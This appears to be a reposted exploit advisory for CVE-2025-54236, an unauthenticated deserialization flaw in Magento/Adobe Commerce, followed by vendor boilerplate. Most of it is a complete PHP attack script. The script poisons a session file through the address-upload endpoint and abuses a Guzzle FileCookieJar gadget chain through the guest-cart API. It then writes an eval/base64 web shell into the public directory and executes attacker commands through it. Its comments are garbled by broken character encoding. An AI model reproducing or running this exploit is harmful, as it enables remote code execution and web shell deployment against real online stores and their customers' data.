=============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce Multiple 2.4.x builds Session Reaper Deserialization Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212729/ & CVEâ2025â54236
[+] Summary : CVEâ2025â54236 is a critical unauthenticated deserialization vulnerability affecting Adobe Commerce (Magento).
The flaw enables remote attackers to manipulate internal session handling paths and abuse PHP object chains (Guzzle FileCookieJar gadget)
to achieve arbitrary file write, leading to Remote Code Execution (RCE).
A public exploit known informally as âMagento Session Reaperâ chains multiple weaknesses together:
Session file poisoning
JSON API injection
Object deserialization gadgets
Guzzle FileCookieJar fileâwrite primitive
Forced session deserialization
WebShell deployment
The attack requires no valid session, no authentication, and no user interaction.
[+] POC :
# Verification only
php poc.php https://target.com
# Execution with command
php poc.php https://target.com "whoami"
# Execution with shell code
php poc.php https://target.com "<?php system('id'); ?>"
<?php
class MagentoSessionReaperExploit {
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;
public function __construct($targetUrl) {
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = bin2hex(random_bytes(16));
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = bin2hex(random_bytes(4)) . ".php";
$this->postParam = bin2hex(random_bytes(4));
}
/**
* ۧÙŰȘŰÙÙ Ù
Ù ÙŰŹÙŰŻ ۧÙŰ«Űș۱۩
*/
public function check() {
$randomPath = implode('/', [
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4))
]);
$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";
$payload = $this->buildDeserializationPayload($randomPath);
$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);
if (!$response) {
return "Unknown: No response from target";
}
$statusCode = $response['status_code'];
$body = strtolower($response['body']);
switch ($statusCode) {
case 400:
return "Safe: Target is patched (returns 400 Bad Request)";
case 404:
if (strpos($body, 'no such entity') !== false &&
(strpos($body, 'cartid') !== false ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false))) {
return "Appears: Target returned 404 with expected error pattern";
}
break;
case 500:
if (strpos($body, 'sessionhandler::read') !== false ||
(strpos($body, 'no such file or directory') !== false && strpos($body, 'session') !== false) ||
strpos($body, 'webapi-') !== false) {
return "Appears: Target returned 500 error with SessionHandler";
}
break;
}
return "Unknown: Unexpected HTTP status: {$statusCode}";
}
/**
* ŰȘÙÙÙ۰ ۧÙۧ۳ŰȘŰșÙۧÙ
*/
public function exploit($command = null) {
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";
$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);
echo "[*] Uploading session file with Guzzle payload...\n";
$formKey = bin2hex(random_bytes(6));
$uploadedPath = $this->uploadSessionFile($guzzlePayload, $formKey);
if (!$uploadedPath) {
echo "[-] Failed to upload session file\n";
return false;
}
$savePath = "media/customer_address" . dirname($uploadedPath);
echo "[*] Triggering deserialization...\n";
if (!$this->triggerDeserialization($savePath)) {
echo "[-] Failed to trigger deserialization\n";
return false;
}
echo "[+] Deserialization triggered successfully\n";
// ŰȘÙŰžÙÙ Ű§ÙÙ
ÙÙۧŰȘ ۧÙÙ
Ű€ÙŰȘŰ©
$this->cleanup();
$executeUrl = "{$this->targetUrl}/pub/{$this->exploitFilename}";
echo "[*] Executing payload at: {$executeUrl}\n";
if ($command) {
$encodedCommand = base64_encode($command);
$this->sendRequest($executeUrl, 'POST', "{$this->postParam}=" . urlencode($encodedCommand), [
'Content-Type: application/x-www-form-urlencoded'
]);
}
return true;
}
/**
* ۱ÙŰč Ù
ÙÙ Ű§ÙŰŹÙ۳۩ ۧÙ۟ۚÙ۫۩
*/
private function uploadSessionFile($content, $formKey) {
$boundary = '----' . bin2hex(random_bytes(16));
$filename = "sess_{$this->sessionId}";
$postData = "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"form_key\"\r\n\r\n";
$postData .= "{$formKey}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= "{$content}\r\n";
$postData .= "--{$boundary}--\r\n";
$url = "{$this->targetUrl}/customer/address_file/upload";
$response = $this->sendRequest($url, 'POST', $postData, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$formKey}"
]);
if (!$response || $response['status_code'] != 200) {
return null;
}
$jsonResponse = json_decode($response['body'], true);
if (isset($jsonResponse['error']) && $jsonResponse['error'] != 0) {
echo "[-] Upload failed: {$jsonResponse['error']}\n";
return null;
}
if (isset($jsonResponse['file'])) {
return $jsonResponse['file'];
}
$sessionSaveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$sessionSaveDir}/{$filename}";
}
/**
* ŰšÙۧۥ payload Ű„ÙŰșۧۥ ۧÙŰȘŰłÙŰłÙ
*/
private function buildDeserializationPayload($savePath) {
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];
return json_encode($payload);
}
/**
* ŰȘÙŰčÙÙ Ű„ÙŰșۧۥ ۧÙŰȘŰłÙŰłÙ
*/
private function triggerDeserialization($savePath) {
$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";
$payload = $this->buildDeserializationPayload($savePath);
$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);
if (!$response) {
return false;
}
return in_array($response['status_code'], [404, 500]);
}
/**
* ŰšÙۧۥ payload Guzzle/FW1
*/
private function buildGuzzleFw1Payload($targetFile, $phpContent) {
$escaped = "{$phpContent}\n";
// Serialize string with PHP binary-safe format
$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";
$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . "{$setCookieData}}";
$cookiesArray = "a:1:{i:0;{$setCookie}}";
$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . "{$cookiesArray}" .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";
return "_|{$fileCookieJar}";
}
/**
* ŰȘŰłÙŰłÙ ÙŰ” ۚ۔ÙŰșŰ© ASCII Ű«ÙۧۊÙŰ© ŰąÙ
ÙŰ© ÙÙ PHP
*/
private function serializeStringAscii($str) {
$result = '';
$length = strlen($str);
for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);
// Keep printable ASCII characters except backslash (92) and double quote (34)
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= chr($byte);
} else {
// Escape other characters as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}
return "S:{$length}:\"{$result}\";";
}
/**
* ۧÙŰŰ”ÙÙ ŰčÙÙ Ù
۳ۧ۱ ŰÙŰž ۧÙŰŹÙ۳۩ Ù
Ù Ű§ŰłÙ
ۧÙÙ
ÙÙ
*/
private function sessionSaveDirFromFilename($filename) {
return $filename[0] . '/' . $filename[1];
}
/**
* Ű„Ű±ŰłŰ§Ù Ű·ÙŰš HTTP
*/
private function sendRequest($url, $method, $data = null, $headers = []) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
if ($method === 'POST' || $method === 'PUT') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$response = curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "[-] cURL Error: {$error}\n";
return null;
}
return [
'status_code' => $statusCode,
'body' => $response
];
}
/**
* ŰȘÙŰžÙÙ Ű§ÙÙ
ÙÙۧŰȘ ۧÙÙ
Ű€ÙŰȘŰ©
*/
private function cleanup() {
// ÙÙ
ÙÙ Ű„Ű¶Ű§ÙŰ© Ù
ÙŰ·Ù Ű§ÙŰȘÙŰžÙÙ ÙÙۧ
// ÙÙ Ű§Ùۄ۔ۯۧ۱ ۧÙŰÙÙÙÙŰ ÙŰŹŰš ŰŰ°Ù Ű§ÙÙ
ÙÙۧŰȘ ۧÙŰȘÙ ŰȘÙ
Ű„ÙێۧۀÙۧ
}
}
// Ù
Ű«Ű§Ù ÙÙۧ۳ŰȘ۟ۯۧÙ
if (php_sapi_name() === 'cli') {
echo "Magento SessionReaper Exploit by indoushka\n";
echo "=============================================\n\n";
if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [command]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com \"whoami\"\n";
exit(1);
}
$targetUrl = $argv[1];
$command = $argc > 2 ? $argv[2] : null;
$exploit = new MagentoSessionReaperExploit($targetUrl);
// ۧÙŰȘŰÙÙ ŰŁÙÙۧÙ
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
echo "[*] Check result: {$checkResult}\n";
if (strpos($checkResult, 'Appears') !== false || strpos($checkResult, 'Unknown') !== false) {
echo "[*] Attempting exploitation...\n";
if ($exploit->exploit($command)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
} else {
echo "[-] Target appears to be safe or patched\n";
}
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation